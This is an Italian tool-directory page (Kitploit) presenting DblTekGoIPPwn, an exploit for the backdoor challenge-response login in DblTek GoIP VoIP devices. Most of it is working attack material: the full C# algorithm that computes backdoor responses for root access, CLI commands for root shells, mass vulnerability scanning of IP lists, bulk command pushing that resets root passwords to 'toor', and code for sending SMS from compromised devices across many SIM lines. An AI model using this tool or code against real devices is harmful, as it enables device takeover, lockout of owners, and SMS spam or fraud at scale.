Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DblTekGoIPPwn — Strumento per verificare se un IP di un DblTek GoIP è vulnerabile a un sistema di login challenge-response, inviare messaggi SMS dal sistema, eseguire comandi remoti in stile botnet e generare risposte alle challenge. | Kitploit
Strumenti/GitHubGitHub/jacobmisirian/dbltekgoippwn
Scanner di VulnerabilitàExploitPenetration TestingCommand and ControlStrumento di Accesso Remoto
GitHubjacobmisirian/dbltekgoippwn

DblTekGoIPPwn

Strumento per verificare se un IP di un DblTek GoIP è vulnerabile a un sistema di login challenge-response, inviare messaggi SMS dal sistema, eseguire comandi remoti in stile botnet e generare risposte alle challenge.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
642616 anni faRevisionato da Kitploit

DblTekGoIPPwn

Tool per sfruttare il sistema di risposta alle challenge nei dispositivi DblTek GoIP vulnerabili. Può generare risposte a challenge specifiche, testare gli host per la vulnerabilità, eseguire comandi su host vulnerabili, inviare messaggi SMS da un host e accedere a una shell root su qualsiasi host vulnerabile.

La Vulnerabilità

Il 2 marzo 2017, Trustwave ha pubblicato una vulnerabilità scoperta dai ricercatori di sicurezza nei telefoni VoIP DblTek GoIP. La vulnerabilità era una backdoor nel firmware per un account chiamato 'dbladm'. Quando un utente inseriva questo come nome utente in un prompt telnet, il sistema presentava una challenge che, se seguita dalla risposta corretta, concedeva all'utente una shell root sul sistema.

Il problema di un tale sistema di risposta alle challenge è che i dispositivi sono sicuri quanto l'algoritmo per generare le risposte, che è stato reverse-engineered dai binari del firmware forniti da DblTek. Utilizzando questo algoritmo, è possibile ottenere una shell root su QUALSIASI dispositivo DblTek GoIP.

Articolo originale: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/

Usando la descrizione della backdoor fornita nell'articolo, sono riuscito a scrivere quello che credo sia uno dei primi codici di exploit per questa vulnerabilità. Il cuore di questo è ovviamente l'algoritmo per generare la risposta basata su una data challenge. Ecco una funzione per farlo scritta in C#.

root@kitploit:~
static string ComputeResponse(string challengeStr)
{
    int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

    string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

    byte[] buffer = new byte[64];
    // Copy the string into the first part of the buffer.
    for (int i = 0; i < modified.Length; i++)
        buffer[i] = (byte)modified[i];

    var md5 = MD5.Create();
    byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

    StringBuilder sb = new StringBuilder(); // Will hold the results.
    // Take the unpadded hex value of the first six bytes of the MD5.
    for (int i = 0; i < 6; i++)
        sb.Append(hash[i].ToString("x"));

    return sb.ToString(); // Profit
}

Interfaccia a riga di comando (CLI) di DblTekGoIPPwn

Quando DblTekPwn viene eseguito senza argomenti, viene visualizzato l'help. Questo è l'output:

root@kitploit:~
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE]         Calcola una risposta per la challenge data.
-r --root-shell                           Avvia una shell root con l'host vulnerabile.
-s --send-commands    [COMMAND_FILE]      Invia comandi da un file agli host vulnerabili.
-t --test                                 Testa gli host e determina se sono vulnerabili.
-h --help                                 Mostra questo help ed esce.

[HOSTS]:
-n --name             [IP]                Specifica un singolo indirizzo IP.
-f --file             [IP_FILE]           Specifica un file con IP\nIP\nIP.

[OUTPUT]:
-o --output           [OUTPUT_FILE]       Specifica un file di output. Default stdout.

Esempi

Ottenere una Shell Root su un Sistema Vulnerabile

DblTekGoIPPwn rende facile ottenere una shell root su qualsiasi sistema vulnerabile. Basta eseguire il seguente comando usando l'IP vulnerabile.

root@kitploit:~
DblTekPwn.exe --root-shell --name 192.168.1.1

Vedrai un output simile a questo:

root@kitploit:~
Password: ***********

Da qui puoi iniziare a inserire comandi (non c'è un prompt della shell).

Calcolare una Risposta a una Challenge

Supponiamo di voler calcolare la risposta a una challenge GoIP N1746203308. Basta eseguire il seguente comando.

root@kitploit:~
DblTekPwn --compute-response N1746203308

L'output sarà la risposta:

root@kitploit:~
d6176d3aab2

Controllare una Lista di IP

Supponiamo di voler controllare list.txt di IP per GoIP vulnerabili e inviare questo output a results.txt. Prima assicurati che gli IP siano nel formato ip:porta (la porta di default è 23) e che gli IP siano separati da un newline \n. Il seguente comando può quindi essere eseguito.

root@kitploit:~
DblTekPwn.exe --test --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

Il False o True dopo l'host indica se l'IP è vulnerabile o meno.

Inviare Comandi a una Lista di IP

Supponiamo di avere una lista di comandi (che in realtà è una lista di input telnet) in cmds.txt da inviare a list.txt di IP e inviare l'output a results.txt. Prima assicurati che gli IP siano nel formato ip:porta (la porta di default è 23) e che SIA gli IP SIA i comandi siano separati da un newline \n nei rispettivi file. Il seguente comando può quindi essere eseguito.

root@kitploit:~
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

cmds.txt:

root@kitploit:~
passwd root
toor
toor

exit

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

Il False o True dopo l'host indica se la connessione è stata stabilita con successo e i comandi sono stati consegnati.

Utilizzo della libreria DblTekPwn.SMS

Il codice in questo repository GitHub fornisce un'astrazione per inviare messaggi SMS (di testo) da un GoIP compromesso. Per utilizzare questo codice, includi DblTekPwn.exe nella tua applicazione e aggiungi il seguente using.

root@kitploit:~
using DblTekPwn.SMS

Ora nel tuo codice puoi usare il metodo statico SmsSender.SendSms. Ecco alcuni esempi.

Inviare SMS da un Singolo Numero a un Singolo Numero

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);

Inviare SMS da Più Numeri a un Singolo Numero

La maggior parte dei GoIP ha fino a 32 SIM card a bordo, consentendo all'hacker di inviare SMS da tutte queste linee.

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);

Inviare SMS da Più Numeri a Più Numeri

root@kitploit:~
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
Scarica lo strumento